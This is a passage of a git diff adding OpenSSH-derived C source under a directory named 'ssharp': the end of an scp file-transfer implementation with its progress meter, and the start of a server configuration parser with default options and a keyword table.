= namebuf; + } else + np = targ; + curfile = cp; + exists = stat(np, &stb) == 0; + if (buf[0] == 'D') { + int mod_flag = pflag; + if (exists) { + if (!S_ISDIR(stb.st_mode)) { + errno = ENOTDIR; + goto bad; + } + if (pflag) + (void) chmod(np, mode); + } else { + /* Handle copying from a read-only + directory */ + mod_flag = 1; + if (mkdir(np, mode | S_IRWXU) < 0) + goto bad; + } + vect[0] = xstrdup(np); + sink(1, vect); + if (setimes) { + setimes = 0; + if (utimes(vect[0], tv) < 0) + run_err("%s: set times: %s", + vect[0], strerror(errno)); + } + if (mod_flag) + (void) chmod(vect[0], mode); + if (vect[0]) + xfree(vect[0]); + continue; + } + omode = mode; + mode |= S_IWRITE; + if ((ofd = open(np, O_WRONLY | O_CREAT | O_TRUNC, mode)) < 0) { +bad: run_err("%s: %s", np, strerror(errno)); + continue; + } + (void) atomicio(write, remout, "", 1); + if ((bp = allocbuf(&buffer, ofd, 4096)) == NULL) { + (void) close(ofd); + continue; + } + cp = bp->buf; + wrerr = NO; + + if (showprogress) { + totalbytes = size; + progressmeter(-1); + } + statbytes = 0; + for (count = i = 0; i < size; i += 4096) { + amt = 4096; + if (i + amt > size) + amt = size - i; + count += amt; + do { + j = read(remin, cp, amt); + if (j == -1 && (errno == EINTR || errno == EAGAIN)) { + continue; + } else if (j <= 0) { + run_err("%s", j ? strerror(errno) : + "dropped connection"); + exit(1); + } + amt -= j; + cp += j; + statbytes += j; + } while (amt > 0); + if (count == bp->cnt) { + /* Keep reading so we stay sync'd up. */ + if (wrerr == NO) { + j = atomicio(write, ofd, bp->buf, count); + if (j != count) { + wrerr = YES; + wrerrno = j >= 0 ? EIO : errno; + } + } + count = 0; + cp = bp->buf; + } + } + if (showprogress) + progressmeter(1); + if (count != 0 && wrerr == NO && + (j = atomicio(write, ofd, bp->buf, count)) != count) { + wrerr = YES; + wrerrno = j >= 0 ? EIO : errno; + } +#if 0 + if (ftruncate(ofd, size)) { + run_err("%s: truncate: %s", np, strerror(errno)); + wrerr = DISPLAYED; + } +#endif + if (pflag) { + if (exists || omode != mode) +#ifdef HAVE_FCHMOD + if (fchmod(ofd, omode)) +#else /* HAVE_FCHMOD */ + if (chmod(np, omode)) +#endif /* HAVE_FCHMOD */ + run_err("%s: set mode: %s", + np, strerror(errno)); + } else { + if (!exists && omode != mode) +#ifdef HAVE_FCHMOD + if (fchmod(ofd, omode & ~mask)) +#else /* HAVE_FCHMOD */ + if (chmod(np, omode & ~mask)) +#endif /* HAVE_FCHMOD */ + run_err("%s: set mode: %s", + np, strerror(errno)); + } + if (close(ofd) == -1) { + wrerr = YES; + wrerrno = errno; + } + (void) response(); + if (setimes && wrerr == NO) { + setimes = 0; + if (utimes(np, tv) < 0) { + run_err("%s: set times: %s", + np, strerror(errno)); + wrerr = DISPLAYED; + } + } + switch (wrerr) { + case YES: + run_err("%s: %s", np, strerror(wrerrno)); + break; + case NO: + (void) atomicio(write, remout, "", 1); + break; + case DISPLAYED: + break; + } + } +screwup: + run_err("protocol error: %s", why); + exit(1); +} + +int +response() +{ + char ch, *cp, resp, rbuf[2048]; + + if (atomicio(read, remin, &resp, sizeof(resp)) != sizeof(resp)) + lostconn(0); + + cp = rbuf; + switch (resp) { + case 0: /* ok */ + return (0); + default: + *cp++ = resp; + /* FALLTHROUGH */ + case 1: /* error, followed by error msg */ + case 2: /* fatal error, "" */ + do { + if (atomicio(read, remin, &ch, sizeof(ch)) != sizeof(ch)) + lostconn(0); + *cp++ = ch; + } while (cp < &rbuf[sizeof(rbuf) - 1] && ch != '\n'); + + if (!iamremote) + (void) atomicio(write, STDERR_FILENO, rbuf, cp - rbuf); + ++errs; + if (resp == 1) + return (-1); + exit(1); + } + /* NOTREACHED */ +} + +void +usage() +{ + (void) fprintf(stderr, "usage: scp " + "[-pqrvBC46] [-S ssh] [-P port] [-c cipher] [-i identity] f1 f2\n" + " or: scp [options] f1 ... fn directory\n"); + exit(1); +} + +void +run_err(const char *fmt,...) +{ + static FILE *fp; + va_list ap; + + ++errs; + if (fp == NULL && !(fp = fdopen(remout, "w"))) + return; + (void) fprintf(fp, "%c", 0x01); + (void) fprintf(fp, "scp: "); + va_start(ap, fmt); + (void) vfprintf(fp, fmt, ap); + va_end(ap); + (void) fprintf(fp, "\n"); + (void) fflush(fp); + + if (!iamremote) { + va_start(ap, fmt); + vfprintf(stderr, fmt, ap); + va_end(ap); + fprintf(stderr, "\n"); + } +} + +void +verifydir(cp) + char *cp; +{ + struct stat stb; + + if (!stat(cp, &stb)) { + if (S_ISDIR(stb.st_mode)) + return; + errno = ENOTDIR; + } + run_err("%s: %s", cp, strerror(errno)); + exit(1); +} + +int +okname(cp0) + char *cp0; +{ + int c; + char *cp; + + cp = cp0; + do { + c = *cp; + if (c & 0200) + goto bad; + if (!isalpha(c) && !isdigit(c) && + c != '_' && c != '-' && c != '.' && c != '+') + goto bad; + } while (*++cp); + return (1); + +bad: fprintf(stderr, "%s: invalid user name\n", cp0); + return (0); +} + +BUF * +allocbuf(bp, fd, blksize) + BUF *bp; + int fd, blksize; +{ + size_t size; +#ifdef HAVE_ST_BLKSIZE + struct stat stb; + + if (fstat(fd, &stb) < 0) { + run_err("fstat: %s", strerror(errno)); + return (0); + } + if (stb.st_blksize == 0) + size = blksize; + else + size = blksize + (stb.st_blksize - blksize % stb.st_blksize) % + stb.st_blksize; +#else /* HAVE_ST_BLKSIZE */ + size = blksize; +#endif /* HAVE_ST_BLKSIZE */ + if (bp->cnt >= size) + return (bp); + if (bp->buf == NULL) + bp->buf = xmalloc(size); + else + bp->buf = xrealloc(bp->buf, size); + bp->cnt = size; + return (bp); +} + +void +lostconn(signo) + int signo; +{ + if (!iamremote) + fprintf(stderr, "lost connection\n"); + exit(1); +} + + +void +alarmtimer(int wait) +{ + struct itimerval itv; + + itv.it_value.tv_sec = wait; + itv.it_value.tv_usec = 0; + itv.it_interval = itv.it_value; + setitimer(ITIMER_REAL, &itv, NULL); +} + +void +updateprogressmeter(int ignore) +{ + int save_errno = errno; + + progressmeter(0); + errno = save_errno; +} + +int +foregroundproc(void) +{ + static pid_t pgrp = -1; + int ctty_pgrp; + + if (pgrp == -1) + pgrp = getpgrp(); + +#ifdef HAVE_TCGETPGRP + return ((ctty_pgrp = tcgetpgrp(STDOUT_FILENO)) != -1 && + ctty_pgrp == pgrp); +#else + return ((ioctl(STDOUT_FILENO, TIOCGPGRP, &ctty_pgrp) != -1 && + ctty_pgrp == pgrp)); +#endif +} + +void +progressmeter(int flag) +{ + static const char prefixes[] = " KMGTP"; + static struct timeval lastupdate; + static off_t lastsize; + struct timeval now, td, wait; + off_t cursize, abbrevsize; + double elapsed; + int ratio, barlength, i, remaining; + char buf[256]; + + if (flag == -1) { + (void) gettimeofday(&start, (struct timezone *) 0); + lastupdate = start; + lastsize = 0; + } + if (foregroundproc() == 0) + return; + + (void) gettimeofday(&now, (struct timezone *) 0); + cursize = statbytes; + if (totalbytes != 0) { + ratio = 100.0 * cursize / totalbytes; + ratio = MAX(ratio, 0); + ratio = MIN(ratio, 100); + } else + ratio = 100; + + snprintf(buf, sizeof(buf), "\r%-20.20s %3d%% ", curfile, ratio); + + barlength = getttywidth() - 51; + barlength = (barlength <= MAX_BARLENGTH)?barlength:MAX_BARLENGTH; + if (barlength > 0) { + i = barlength * ratio / 100; + snprintf(buf + strlen(buf), sizeof(buf) - strlen(buf), + "|%.*s%*s|", i, BAR, barlength - i, ""); + } + i = 0; + abbrevsize = cursize; + while (abbrevsize >= 100000 && i < sizeof(prefixes)) { + i++; + abbrevsize >>= 10; + } + snprintf(buf + strlen(buf), sizeof(buf) - strlen(buf), " %5lu %c%c ", + (unsigned long) abbrevsize, prefixes[i], + prefixes[i] == ' ' ? ' ' : 'B'); + + timersub(&now, &lastupdate, &wait); + if (cursize > lastsize) { + lastupdate = now; + lastsize = cursize; + if (wait.tv_sec >= STALLTIME) { + start.tv_sec += wait.tv_sec; + start.tv_usec += wait.tv_usec; + } + wait.tv_sec = 0; + } + timersub(&now, &start, &td); + elapsed = td.tv_sec + (td.tv_usec / 1000000.0); + + if (flag != 1 && + (statbytes <= 0 || elapsed <= 0.0 || cursize > totalbytes)) { + snprintf(buf + strlen(buf), sizeof(buf) - strlen(buf), + " --:-- ETA"); + } else if (wait.tv_sec >= STALLTIME) { + snprintf(buf + strlen(buf), sizeof(buf) - strlen(buf), + " - stalled -"); + } else { + if (flag != 1) + remaining = (int)(totalbytes / (statbytes / elapsed) - + elapsed); + else + remaining = elapsed; + + i = remaining / 3600; + if (i) + snprintf(buf + strlen(buf), sizeof(buf) - strlen(buf), + "%2d:", i); + else + snprintf(buf + strlen(buf), sizeof(buf) - strlen(buf), + " "); + i = remaining % 3600; + snprintf(buf + strlen(buf), sizeof(buf) - strlen(buf), + "%02d:%02d%s", i / 60, i % 60, + (flag != 1) ? " ETA" : " "); + } + atomicio(write, fileno(stdout), buf, strlen(buf)); + + if (flag == -1) { + mysignal(SIGALRM, updateprogressmeter); + alarmtimer(1); + } else if (flag == 1) { + alarmtimer(0); + atomicio(write, fileno(stdout), "\n", 1); + statbytes = 0; + } +} + +int +getttywidth(void) +{ + struct winsize winsize; + + if (ioctl(fileno(stdout), TIOCGWINSZ, &winsize) != -1) + return (winsize.ws_col ? winsize.ws_col : 80); + else + return (80); +} + +void +addargs(char *fmt, ...) +{ + va_list ap; + char buf[1024]; + + va_start(ap, fmt); + vsnprintf(buf, sizeof(buf), fmt, ap); + va_end(ap); + + if (args.list == NULL) { + args.nalloc = 32; + args.num = 0; + args.list = xmalloc(args.nalloc * sizeof(char *)); + } else if (args.num+2 >= args.nalloc) { + args.nalloc *= 2; + args.list = xrealloc(args.list, args.nalloc * sizeof(char *)); + } + args.list[args.num++] = xstrdup(buf); + args.list[args.num] = NULL; +} diff --git a/other/ssharp/servconf.c b/other/ssharp/servconf.c new file mode 100644 index 0000000..73c07c2 --- /dev/null +++ b/other/ssharp/servconf.c @@ -0,0 +1,817 @@ +/* + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * + * As far as I am concerned, the code I have written for this software + * can be used freely for any purpose. Any derived versions of this + * software must be clearly marked as such, and if the derived work is + * incompatible with the protocol description in the RFC file, it must be + * called by a name other than "ssh" or "Secure Shell". + */ + +#include "includes.h" +RCSID("$OpenBSD: servconf.c,v 1.78 2001/04/15 21:28:35 stevesk Exp $"); + +#ifdef KRB4 +#include +#endif +#ifdef AFS +#include +#endif + +#include "ssh.h" +#include "log.h" +#include "servconf.h" +#include "xmalloc.h" +#include "compat.h" +#include "pathnames.h" +#include "tildexpand.h" +#include "misc.h" +#include "cipher.h" +#include "kex.h" +#include "mac.h" + +void add_listen_addr(ServerOptions *options, char *addr, u_short port); +void add_one_listen_addr(ServerOptions *options, char *addr, u_short port); + +/* AF_UNSPEC or AF_INET or AF_INET6 */ +extern int IPv4or6; + +/* Initializes the server options to their default values. */ + +void +initialize_server_options(ServerOptions *options) +{ + memset(options, 0, sizeof(*options)); + options->num_ports = 0; + options->ports_from_cmdline = 0; + options->listen_addrs = NULL; + options->num_host_key_files = 0; + options->pid_file = NULL; + options->server_key_bits = -1; + options->login_grace_time = -1; + options->key_regeneration_time = -1; + options->permit_root_login = PERMIT_NOT_SET; + options->ignore_rhosts = -1; + options->ignore_user_known_hosts = -1; + options->print_motd = -1; + options->print_lastlog = -1; + options->check_mail = -1; + options->x11_forwarding = -1; + options->x11_display_offset = -1; + options->xauth_location = NULL; + options->strict_modes = -1; + options->keepalives = -1; + options->log_facility = (SyslogFacility) - 1; + options->log_level = (LogLevel) - 1; + options->rhosts_authentication = -1; + options->rhosts_rsa_authentication = -1; + options->hostbased_authentication = -1; + options->hostbased_uses_name_from_packet_only = -1; + options->rsa_authentication = -1; + options->pubkey_authentication = -1; +#ifdef KRB4 + options->kerberos_authentication = -1; + options->kerberos_or_local_passwd = -1; + options->kerberos_ticket_cleanup = -1; +#endif +#ifdef AFS + options->kerberos_tgt_passing = -1; + options->afs_token_passing = -1; +#endif + options->password_authentication = -1; + options->kbd_interactive_authentication = -1; + options->challenge_reponse_authentication = -1; + options->permit_empty_passwd = -1; + options->use_login = -1; + options->allow_tcp_forwarding = -1; + options->num_allow_users = 0; + options->num_deny_users = 0; + options->num_allow_groups = 0; + options->num_deny_groups = 0; + options->ciphers = NULL; + options->macs = NULL; + options->protocol = SSH_PROTO_UNKNOWN; + options->gateway_ports = -1; + options->num_subsystems = 0; + options->max_startups_begin = -1; + options->max_startups_rate = -1; + options->max_startups = -1; + options->banner = NULL; + options->reverse_mapping_check = -1; + options->client_alive_interval = -1; + options->client_alive_count_max = -1; + options->pam_authentication_via_kbd_int = -1; +} + +void +fill_default_server_options(ServerOptions *options) +{ + if (options->protocol == SSH_PROTO_UNKNOWN) + options->protocol = SSH_PROTO_1|SSH_PROTO_2; + if (options->num_host_key_files == 0) { + /* fill default hostkeys for protocols */ + if (options->protocol & SSH_PROTO_1) + options->host_key_files[options->num_host_key_files++] = _PATH_HOST_KEY_FILE; + if (options->protocol & SSH_PROTO_2) + options->host_key_files[options->num_host_key_files++] = _PATH_HOST_DSA_KEY_FILE; + } + if (options->num_ports == 0) + options->ports[options->num_ports++] = SSH_DEFAULT_PORT; + if (options->listen_addrs == NULL) + add_listen_addr(options, NULL, 0); + if (options->pid_file == NULL) + options->pid_file = _PATH_SSH_DAEMON_PID_FILE; + if (options->server_key_bits == -1) + options->server_key_bits = 768; + if (options->login_grace_time == -1) + options->login_grace_time = 600; + if (options->key_regeneration_time == -1) + options->key_regeneration_time = 3600; + if (options->permit_root_login == PERMIT_NOT_SET) + options->permit_root_login = PERMIT_YES; + if (options->ignore_rhosts == -1) + options->ignore_rhosts = 1; + if (options->ignore_user_known_hosts == -1) + options->ignore_user_known_hosts = 0; + if (options->check_mail == -1) + options->check_mail = 0; + if (options->print_motd == -1) + options->print_motd = 1; + if (options->print_lastlog == -1) + options->print_lastlog = 1; + if (options->x11_forwarding == -1) + options->x11_forwarding = 0; + if (options->x11_display_offset == -1) + options->x11_display_offset = 10; +#ifdef XAUTH_PATH + if (options->xauth_location == NULL) + options->xauth_location = XAUTH_PATH; +#endif /* XAUTH_PATH */ + if (options->strict_modes == -1) + options->strict_modes = 1; + if (options->keepalives == -1) + options->keepalives = 1; + if (options->log_facility == (SyslogFacility) (-1)) + options->log_facility = SYSLOG_FACILITY_AUTH; + if (options->log_level == (LogLevel) (-1)) + options->log_level = SYSLOG_LEVEL_INFO; + if (options->rhosts_authentication == -1) + options->rhosts_authentication = 0; + if (options->rhosts_rsa_authentication == -1) + options->rhosts_rsa_authentication = 0; + if (options->hostbased_authentication == -1) + options->hostbased_authentication = 0; + if (options->hostbased_uses_name_from_packet_only == -1) + options->hostbased_uses_name_from_packet_only = 0; + if (options->rsa_authentication == -1) + options->rsa_authentication = 1; + if (options->pubkey_authentication == -1) + options->pubkey_authentication = 1; +#ifdef KRB4 + if (options->kerberos_authentication == -1) + options->kerberos_authentication = (access(KEYFILE, R_OK) == 0); + if (options->kerberos_or_local_passwd == -1) + options->kerberos_or_local_passwd = 1; + if (options->kerberos_ticket_cleanup == -1) + options->kerberos_ticket_cleanup = 1; +#endif /* KRB4 */ +#ifdef AFS + if (options->kerberos_tgt_passing == -1) + options->kerberos_tgt_passing = 0; + if (options->afs_token_passing == -1) + options->afs_token_passing = k_hasafs(); +#endif /* AFS */ + if (options->password_authentication == -1) + options->password_authentication = 1; + if (options->kbd_interactive_authentication == -1) + options->kbd_interactive_authentication = 0; + if (options->challenge_reponse_authentication == -1) + options->challenge_reponse_authentication = 1; + if (options->permit_empty_passwd == -1) + options->permit_empty_passwd = 0; + if (options->use_login == -1) + options->use_login = 0; + if (options->allow_tcp_forwarding == -1) + options->allow_tcp_forwarding = 1; + if (options->gateway_ports == -1) + options->gateway_ports = 0; + if (options->max_startups == -1) + options->max_startups = 10; + if (options->max_startups_rate == -1) + options->max_startups_rate = 100; /* 100% */ + if (options->max_startups_begin == -1) + options->max_startups_begin = options->max_startups; + if (options->reverse_mapping_check == -1) + options->reverse_mapping_check = 0; + if (options->client_alive_interval == -1) + options->client_alive_interval = 0; + if (options->client_alive_count_max == -1) + options->client_alive_count_max = 3; + if (options->pam_authentication_via_kbd_int == -1) + options->pam_authentication_via_kbd_int = 0; +} + +/* Keyword tokens. */ +typedef enum { + sBadOption, /* == unknown option */ + sPort, sHostKeyFile, sServerKeyBits, sLoginGraceTime, sKeyRegenerationTime, + sPermitRootLogin, sLogFacility, sLogLevel, + sRhostsAuthentication, sRhostsRSAAuthentication, sRSAAuthentication, +#ifdef KRB4 + sKerberosAuthentication, sKerberosOrLocalPasswd, sKerberosTicketCleanup, +#endif +#ifdef AFS + sKerberosTgtPassing, sAFSTokenPassing, +#endif + sChallengeResponseAuthentication, + sPasswordAuthentication, sKbdInteractiveAuthentication, sListenAddress, + sPrintMotd, sPrintLastLog, sIgnoreRhosts, + sX11Forwarding, sX11DisplayOffset, + sStrictModes, sEmptyPasswd, sKeepAlives, sCheckMail, + sUseLogin, sAllowTcpForwarding, + sAllowUsers, sDenyUsers, sAllowGroups, sDenyGroups, + sIgnoreUserKnownHosts, sCiphers, sMacs, sProtocol, sPidFile, + sGatewayPorts, sPubkeyAuthentication, sXAuthLocation, sSubsystem, sMaxStartups, + sBanner, sReverseMappingCheck, sHostbasedAuthentication, + sHostbasedUsesNameFromPacketOnly, sClientAliveInterval, + sClientAliveCountMax, sPAMAuthenticationViaKbdInt +} ServerOpCodes; + +/* Textual representation of the tokens. */ +static struct { + const char *name; + ServerOpCodes opcode; +} keywords[] = { + { "port", sPort }, + { "hostkey", sHostKeyFile }, + { "hostdsakey", sHostKeyFile }, /* alias */ + { "pidfile", sPidFile }, + { "serverkeybits", sServerKeyBits }, + { "logingracetime", sLoginGraceTime }, + { "keyregenerationinterval", sKeyRegenerationTime }, + { "permitrootlogin", sPermitRootLogin }, + { "syslogfacility", sLogFacility }, + { "loglevel", sLogLevel }, + { "rhostsauthentication", sRhostsAuthentication }, + { "rhostsrsaauthentication", sRhostsRSAAuthentication }, + { "hostbasedauthentication", sHostbasedAuthentication }, + { "hostbasedusesnamefrompacketonly", sHostbasedUsesNameFromPacketOnly }, + { "rsaauthentication", sRSAAuthentication }, + { "pubkeyauthentication", sPubkeyAuthentication }, + { "dsaauthentication", sPubkeyAuthentication }, /* alias */ +#ifdef KRB4 + { "kerberosauthentication", sKerberosAuthentication }, + { "kerberosorlocalpasswd", sKerberosOrLocalPasswd }, + { "kerberosticketcleanup", sKerberosTicketCleanup }, +#endif +#ifdef AFS + { "kerberostgtpassing", sKerberosTgtPassing }, + { "afstokenpassing", sAFSTokenPassing }, +#endif + { "passwordauthentication", sPasswordAuthentication }, + { "kbdinteractiveauthentication", sKbdInteractiveAuthentication }, + { "challengeresponseauthentication", sChallengeResponseAuthentication }, + { "skeyauthentication", sChallengeResponseAuthentication }, /* alias */ + { "checkmail", sCheckMail }, + { "listenaddress", sListenAddress }, + { "printmotd", sPrintMotd }, + { "printlastlog", sPrintLastLog }, + { "ignorerhosts", sIgnoreRhosts }, + { "ignoreuserknownhosts", sIgnoreUserKnownHosts }, + { "x11forwarding", sX11Forwarding }, + { "x11displayoffset", sX11DisplayOffset }, + { "xauthlocation", sXAuthLocation }, + { "strictmodes", sStrictModes }, + { "permitemptypasswords", sEmptyPasswd }, + { "uselogin", sUseLogin }, + { "keepalive", sKeepAlives }, + { "allowtcpforwarding", sAllowTcpForwarding }, + { "allowusers", sAllowUsers }, + { "denyusers", sDenyUsers }, + { "allowgroups", sAllowGroups }, + { "denygroups", sDenyGroups }, + { "ciphers", sCiphers }, + { "macs", sMacs }, + { "protocol", sProtocol }, + { "gatewayports", sGatewayPorts }, + { "subsystem", sSubsystem }, + { "maxstartups", sMaxStartups }, + { "banner", sBanner }, + { "reversemappingcheck", sReverseMappingCheck }, + { "clientaliveinterval", sClientAliveInterval }, + { "clientalivecountmax", sClientAliveCountMax }, + { "PAMAuthenticationViaKbdInt", sPAMAuthenticationViaKbdInt }, + { NULL, 0 } +}; + +/* + * Returns the number of the token pointed to by cp or sBadOption. + */ + +static ServerOpCodes +parse_token(const char *cp, const char *filename, + int linenum) +{ + u_int i; + + for (i = 0; keywords[i].name; i++) + if (strcasecmp(cp, keywords[i].name) == 0) + return keywords[i].opcode; + + error("%s: line %d: Bad configuration option: %s", + filename, linenum, cp); + return sBadOption; +} + +void +add_listen_addr(ServerOptions *options, char *addr, u_short port) +{ + int i; + + if (options->num_ports == 0) + options->ports[options->num_ports++] = SSH_DEFAULT_PORT; + if (port == 0) + for (i = 0; i < options->num_ports; i++) + add_one_listen_addr(options, addr, options->ports[i]); + else + add_one_listen_addr(options, addr, port); +} + +void +add_one_listen_addr(ServerOptions *options, char *addr, u_short port) +{ + struct addrinfo hints, *ai, *aitop; + char strport[NI_MAXSERV]; + int gaierr; + + memset(&hints, 0, sizeof(hints)); + hints.ai_family = IPv4or6; + hints.ai_socktype = SOCK_STREAM; + hints.ai_flags = (addr == NULL) ? AI_PASSIVE : 0; + snprintf(strport, sizeof strport, "%d", port); + if ((gaierr = getaddrinfo(addr, strport, &hints, &aitop)) != 0) + fatal("bad addr or host: %s (%s)", + addr ? addr : "", + gai_strerror(gaierr)); + for (ai = aitop; ai->ai_next; ai = ai->ai_next) + ; + ai->ai_next = options->listen_addrs; + options->listen_addrs = aitop; +} + +/* Reads the server configuration file. */ + +void +read_server_config(ServerOptions *options, const char *filename) +{ + FILE *f; + char line[1024]; + char *cp, **charptr, *arg, *p; + int linenum, *intptr, value; + int bad_options = 0; + ServerOpCodes opcode; + int i; + + f = fopen(filename, "r"); + if (!f) { + perror(filename); + exit(1); + } + linenum = 0; + while (fgets(line, sizeof(line), f)) { + linenum++; + cp = line; + arg = strdelim(&cp); + /* Ignore leading whitespace */ + if (*arg == '\0') + arg = strdelim(&cp); + if (!arg || !*arg || *arg == '#') + continue; + intptr = NULL; + charptr = NULL; + opcode = parse_token(arg, filename, linenum); + switch (opcode) { + case sBadOption: + bad_options++; + continue; + case sPort: + /* ignore ports from configfile if cmdline specifies ports */ + if (options->ports_from_cmdline) + continue; + if (options->listen_addrs != NULL) + fatal("%s line %d: ports must be specified before " + "ListenAdress.\n", filename, linenum); + if (options->num_ports >= MAX_PORTS) + fatal("%s line %d: too many ports.", + filename, linenum); + arg = strdelim(&cp); + if (!arg || *arg == '\0') + fatal("%s line %d: missing port number.", + filename, linenum); + options->ports[options->num_ports++] = a2port(arg); + if (options->ports[options->num_ports-1] == 0) + fatal("%s line %d: Badly formatted port number.", + filename, linenum); + break; + + case sServerKeyBits: + intptr = &options->server_key_bits; +parse_int: + arg = strdelim(&cp); + if (!arg || *arg == '\0') + fatal("%s line %d: missing integer value.", + filename, linenum); + value = atoi(arg); + if (*intptr == -1) + *intptr = value; + break; + + case sLoginGraceTime: + intptr = &options->login_grace_time; + goto parse_int; + + case sKeyRegenerationTime: + intptr = &options->key_regeneration_time; + goto parse_int; + + case sListenAddress: + arg = strdelim(&cp); + if (!arg || *arg == '\0' || strncmp(arg, "[]", 2) == 0) + fatal("%s line %d: missing inet addr.", + filename, linenum); + if (*arg == '[') { + if ((p = strchr(arg, ']')) == NULL) + fatal("%s line %d: bad ipv6 inet addr usage.", + filename, linenum); + arg++; + memmove(p, p+1, strlen(p+1)+1); + } else if (((p = strchr(arg, ':')) == NULL) || + (strchr(p+1, ':') != NULL)) { + add_listen_addr(options, arg, 0); + break; + } + if (*p == ':') { + u_short port; + + p++; + if (*p == '\0') + fatal("%s line %d: bad inet addr:port usage.", + filename, linenum); + else { + *(p-1) = '\0'; + if ((port = a2port(p)) == 0) + fatal("%s line %d: bad port number.", + filename, linenum); + add_listen_addr(options, arg, port); + } + } else if (*p == '\0') + add_listen_addr(options, arg, 0); + else + fatal("%s line %d: bad inet addr usage.", + filename, linenum); + break; + + case sHostKeyFile: + intptr = &options->num_host_key_files; + if (*intptr >= MAX_HOSTKEYS) + fatal("%s line %d: too many host keys specified (max %d).", + filename, linenum, MAX_HOSTKEYS); + charptr = &options->host_key_files[*intptr]; +parse_filename: + arg = strdelim(&cp); + if (!arg || *arg == '\0') + fatal("%s line %d: missing file name.", + filename, linenum); + if (*charptr == NULL) { + *charptr = tilde_expand_filename(arg, getuid()); + /* increase optional counter */ + if (intptr != NULL) + *intptr = *intptr + 1; + } + break; + + case sPidFile: + charptr = &options->pid_file; + goto parse_filename; + + case sPermitRootLogin: + intptr = &options->permit_root_login; + arg = strdelim(&cp); + if (!arg || *arg == '\0') + fatal("%s line %d: missing yes/" + "without-password/forced-commands-only/no " + "argument.", filename, linenum); + value = 0; /* silence compiler */ + if (strcmp(arg, "without-password") == 0) + value = PERMIT_NO_PASSWD; + else if (strcmp(arg, "forced-commands-only") == 0) + value = PERMIT_FORCED_ONLY; + else if (strcmp(arg, "yes") == 0) + value = PERMIT_YES; + else if (strcmp(arg, "no") == 0) + value = PERMIT_NO; + else + fatal("%s line %d: Bad yes/" + "without-password/forced-commands-only/no " + "argument: %s", filename, linenum, arg); + if (*intptr == -1) + *intptr = value; + break; + + case sIgnoreRhosts: + intptr = &options->ignore_rhosts; +parse_flag: + arg = strdelim(&cp); + if (!arg || *arg == '\0') + fatal("%s line %d: missing yes/no argument.", + filename, linenum); + value = 0; /* silence compiler */ + if (strcmp(arg, "yes") == 0) + value = 1; + else if (strcmp(arg, "no") == 0) + value = 0; + else + fatal("%s line %d: Bad yes/no argument: %s", + filename, linenum, arg); + if (*intptr == -1) + *intptr = value; + break; + + case sIgnoreUserKnownHosts: + intptr = &options->ignore_user_known_hosts; + goto parse_flag; + + case sRhostsAuthentication: + intptr = &options->rhosts_authentication; + goto parse_flag; + + case sRhostsRSAAuthentication: + intptr = &options->rhosts_rsa_authentication; + goto parse_flag; + + case sHostbasedAuthentication: + intptr = &options->hostbased_authentication; + goto parse_flag; + + case sHostbasedUsesNameFromPacketOnly: + intptr = &options->hostbased_uses_name_from_packet_only; + goto parse_flag; + + case sRSAAuthentication: + intptr = &options->rsa_authentication; + goto parse_flag; + + case sPubkeyAuthentication: + intptr = &options->pubkey_authentication; + goto parse_flag; + +#ifdef KRB4 + case sKerberosAuthentication: + intptr = &options->kerberos_authentication; + goto parse_flag; + + case sKerberosOrLocalPasswd: + intptr = &options->kerberos_or_local_passwd; + goto parse_flag; + + case sKerberosTicketCleanup: + intptr = &options->kerberos_ticket_cleanup; + goto parse_flag; +#endif + +#ifdef AFS + case sKerberosTgtPassing: + intptr = &options->kerberos_tgt_passing; + goto parse_flag; + + case sAFSTokenPassing: + intptr = &options->afs_token_passing; + goto parse_flag; +#endif + + case sPasswordAuthentication: + intptr = &options->password_authentication; + goto parse_flag; + + case sKbdInteractiveAuthentication: + intptr = &options->kbd_interactive_authentication; + goto parse_flag; + + case sCheckMail: + intptr = &options->check_mail; + goto parse_flag; + + case sChallengeResponseAuthentication: + intptr = &options->challenge_reponse_authentication; + goto parse_flag; + + case sPrintMotd: + intptr = &options->print_motd; + goto parse_flag; + + case sPrintLastLog: + intptr = &options->print_lastlog; + goto parse_flag; + + case sX11Forwarding: + intptr = &options->x11_forwarding; + goto parse_flag; + + case sX11DisplayOffset: + intptr = &options->x11_display_offset; + goto parse_int; + + case sXAuthLocation: + charptr = &options->xauth_location; + goto parse_filename; + + case sStrictModes: + intptr = &options->strict_modes; + goto parse_flag; + + case sKeepAlives: + intptr = &options->keepalives; + goto parse_flag; + + case sEmptyPasswd: + intptr = &options->permit_empty_passwd; + goto parse_flag; + + case sUseLogin: + intptr = &options->use_login; + goto parse_flag; + + case sGatewayPorts: + intptr = &options->gateway_ports; + goto parse_flag; + + case sReverseMappingCheck: + intptr = &options->reverse_mapping_check; + goto parse_flag; + + case sLogFacility: + intptr = (int *) &options->log_facility; + arg = strdelim(&cp); + value = log_facility_number(arg); + if (value == (SyslogFacility) - 1) + fatal("%.200s line %d: unsupported log facility '%s'", + filename, linenum, arg ? arg : ""); + if (*intptr == -1) + *intptr = (SyslogFacility) value; + break; + + case sLogLevel: + intptr = (int *) &options->log_level; + arg = strdelim(&cp); + value = log_level_number(arg); + if (value == (LogLevel) - 1) + fatal("%.200s line %d: unsupported log level '%s'", + filename, linenum, arg ? arg : ""); + if (*intptr == -1) + *intptr = (LogLevel) value; + break; + + case sAllowTcpForwarding: + intptr = &options->allow_tcp_forwarding; + goto parse_flag; + + case sAllowUsers: + while ((arg = strdelim(&cp)) && *arg != '\0') { + if (options->num_allow_users >= MAX_ALLOW_USERS) + fatal("%s line %d: too many allow users.", + filename, linenum); + options->allow_users[options->num_allow_users++] = xstrdup(arg); + } + break; + + case sDenyUsers: + while ((arg = strdelim(&cp)) && *arg != '\0') { + if (options->num_deny_users >= MAX_DENY_USERS) + fatal( "%s line %d: too many deny users.", + filename, linenum); + options->deny_users[options->num_deny_users++] = xstrdup(arg); + } + break; + + case sAllowGroups: + while ((arg = strdelim(&cp)) && *arg != '\0') { + if (options->num_allow_groups >= MAX_ALLOW_GROUPS) + fatal("%s line %d: too many allow groups.", + filename, linenum); + options->allow_groups[options->num_allow_groups++] = xstrdup(arg); + } + break; + + case sDenyGroups: + while ((arg = strdelim(&cp)) && *arg != '\0') { + if (options->num_deny_groups >= MAX_DENY_GROUPS) + fatal("%s line %d: too many deny groups.", + filename, linenum); + options->deny_groups[options->num_deny_groups++] = xstrdup(arg); + } + break; + + case sCiphers: + arg = strdelim(&cp); + if (!arg || *arg == '\0') + fatal("%s line %d: Missing argument.", filename, linenum); + if (!ciphers_valid(arg)) + fatal("%s line %d: Bad SSH2 cipher spec '%s'.", + filename, linenum, arg ? arg : ""); + if (options->ciphers == NULL) 